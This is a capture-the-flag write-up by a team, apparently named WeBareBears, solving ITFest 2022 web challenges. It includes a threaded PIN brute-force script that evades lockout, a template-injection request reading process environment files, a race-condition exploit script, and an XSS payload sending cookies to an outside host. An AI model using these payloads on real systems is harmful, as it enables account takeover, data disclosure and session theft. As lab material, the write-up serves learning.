# ITFest CTF 2022 - Writeups by WeBareBears ### Members: - Silaghi Fineas Florin - Valase Paul Mihai - Han Leonard ### Solved Challenges: - Welcome - Administrator's page - Birthday card - Bank loan - Secret Santa (50%) # Writeups ## Welcome > Welcome to ITFest 2022 CTF! We have made a list of our favorite programming languages. Can you guess what they are? By having a look at the source code we see this function, which seems to be rot13, and we find another `textarea` tag which seems to be our flag, but rot13-ed ```javascript= <textarea class="ascuns" id="toDecrypt" onClick="decryptMe()">VGSrfg{nor8qq-psn610-63onrn-no7q6p}</textarea> function decryptMe(){ if(document.querySelector('#toDecrypt').value==""){ alert("Empty field to decrypt."); } var t = document.querySelector('#toDecrypt').value.split('') var key = 'abcdefghijklmnopqrstuvwxyz' var word = '' t.forEach((letter)=>{ idx = key.indexOf(letter.toLowerCase()); if(idx !== -1){ idx >= key.length / 2 ? letter == letter.toUpperCase() ? word += key[13-(key.length - idx)].toUpperCase() : word += key[13-(key.length - idx)] : letter == letter.toUpperCase() ? word += key[idx + 13].toUpperCase() : word += key[idx + 13]; } else { idx === -1 ? word += letter : ''; } }); document.querySelector('#myDecryptedMessage').innerText = word } </script> ``` It can be done multiple ways, but i just used <a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=VkdTcmZne25vcjhxcS1wc242MTAtNjNvbnJuLW5vN3E2cH0">cyberchef</a> with ROT13 recipe (it is included in the link) ![](https://i.imgur.com/dbMJYLj.png) **Flag: ITFest{abe8dd-cfa610-63baea-ab7d6c}** ## Administrator's page > While exploring this CTF server, you fall upon a login page for its administrators. As a responsible whitehat, you only wish to help secure their server, but they aren't responding to their emails. You decide to take matters into your own hands! First we need to find valid usernames for this, and by using tools like `gobuster` or `dirbuster` we can easily find a endpoint `/usernames` which has a lot of usernames, i chose one with more letters `so there will be more permutations, so more tries to brute-force the pin` There is also a login page, and also a reset your password prompt, playing around using burp, I noticed that for some reason the app doesn't use `.lower`, or `.upper` when submitting the pin, and we can use permutations of lower and upper chars to brute-force the pin because it checks that the username we try wasn't before ( being case-sensitive ). Did it using this script: ```python3 import requests from threading import Thread import itertools import sys s = 'kimberly.emily' test = map(''.join, itertools.product(*zip(s.upper(), s.lower()))) l = [f for f in test] print(len(l)) input() def make_requests(val): s = 200 * val cPin = s uName = 0 + val for i in range(s, 200 * (val+1)): for j in range(1): d = requests.post("http://10.66.6.227:20822/forgotpwd/pin?username=b", data={ "username": l[uName + (80 * val)], "pin": cPin }) cPin += 1 if "Invalid PIN" in d.text: print(f"{cPin} invalid") continue elif "locked out" in d.text: print('locked') sys.exit() else: print(d.text, i) uName += 1 for i in range(50): new_thread = Thread(target=make_requests, args=(i,)) new_thread.start() cPin = 0 new_thread.join() ``` ![](https://i.imgur.com/A6OHyID.png) **Flag: ITFest{r32mjr-n7vfe4-yqh0uh-az7rsd}** ## Birthday card > Your best friend's birthday is coming up, so you think about sending him a nice birthday card. Best to think of a nice message to warm their day! This challange was about SSTI in the message field of the birthday card.By trial&error i deduced that it was using nunjucks syntax `{%+raw+%}{{range.constructor("return+global.process.mainModule.require('fs')")()}}{%+endraw+%}` this payload returns the text as it is between the brackets. Using this site https://www.11ty.dev/docs/languages/nunjucks/ we see that ``` Includes (Relative Path) Relative paths use ./ (template’s directory) or ../ (template’s parent directory). Example: {% include './included.njk' %} looks for included.njk in the template’s current directory. Does not process front matter in the include file. ``` So, after trying it, we see that it works,and we have lfi. So now we have to search for the flag, and it is in the environment variables of the process running the app `/proc/self/environ`. ```python POST /generate HTTP/1.1 Host: 10.66.6.227:20922 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.66.6.227:20922/ Content-Type: application/x-www-form-urlencoded Content-Length: 87 Origin: http://10.66.6.227:20922 Connection: close Upgrade-Insecure-Requests: 1 name=test1&message=%7B%25+include+%22%2Fproc%2Fself%2Fenviron%22+%25%7D& date=2021-12-11 ``` ```html <p class="card-text"> Great! The birthday card for test1 has been generated and can be viewed <a href="/card/38d5eb4dc76bdd0b9e62f20381">here</a> ``` ![](https://i.imgur.com/eh7ujce.png) **Flag: ITFest{3kqy45-xxk2tk-yqh0uh-unqfqd}** ## Bank loan > Our bank just opened and is offering incredibly favorable loans to anyone who signs up. This is not all however: our bank also doubles as an online store, offering a nice assortment of sweets and other goodies. Came up to me as a race condition as soon as i saw the loan limit, and the option to buy the flag if we have 1337 coins. As i don't have burp professional, I used the `turbo intruder` extension (can be installed from user-options) and used by `right click-> extension-> turbo intruder -> send to turbo intruder`, which allows us to write python code for configuring the attack, and run them multi-threaded, and also being able to pipeline the requests. After multiple tries, and registering users after users (i could only get around 1200 coins, and had to play around with the cocurentConnections, and the number of requests) i finally made myself 1380 coins to buy the flag. ```javascript POST / HTTP/1.1 Host: 10.66.6.227:50090 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.66.6.227:50090/ Content-Type: application/x-www-form-urlencoded Content-Length: 110 Origin: http://10.66.6.227:50090 Connection: close Cookie: session=.eJwNy1EKgzAMANC75HsFE5s09TLStAmIMMHNL_Hu2_t_N_TPGev32P0NC5D1EcaKYpwNSdAzMWrUVidRE4s2F2zwguvaxn-4jHAdnrgQpuydUi1kibmyN5qV-wTPDy0qHPw.Y5W9Mw.tArtUhYygF_5HP7Ofma03l3J2Tg Upgrade-Insecure-Requests: 1 csrf_token=IjJiY2RmYjU4MTZiNTRiMTI2MWU0MjUxOGY5YTkwNjhiNmJmYTM3MWEi.Y5W9aA.YSGuewMCO7nMODjLDtGVMGu_Ico&loan=99 ``` ```python= def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1000, requestsPerConnection=1000, pipeline=True ) for word in range(222): engine.queue(target.req) def handleResponse(req, interesting): # currently available attributes are req.status, # req.wordcount, req.length and req.response if req.status != 404: table.add(req) ``` ![](https://i.imgur.com/nl9o1EP.png) ![](https://i.imgur.com/Q8OfjdM.png) ![](https://i.imgur.com/PcMqYtz.png) **Flag: ITFest{f8fmjt-1qvf3m-f1h0uh-6t188h}** ## Secret Santa After some payloads, we see that that it only removes script one time, and ```<scrSCRIPTipt>document.location.href = "http://10.8.0.14/?" + document.cookie;</scrSCRIPTipt>``` works if i trigger it in my browser. Also you had to use the lowerst ammount of donation, because you can only receive around 0.0001... . ![](https://i.imgur.com/1hdMTzI.png) ![](https://i.imgur.com/z9omzye.png) After that using some sites, https://testnet-faucet.com/btc-testnet/ or any of these that work ![](https://i.imgur.com/DccTzHX.png) Transfer the btc to the wallet provided to us by the elfs, and then after approval, the xss should be executed, but idk why, mine didn't work ![](https://i.imgur.com/IdD3azl.png)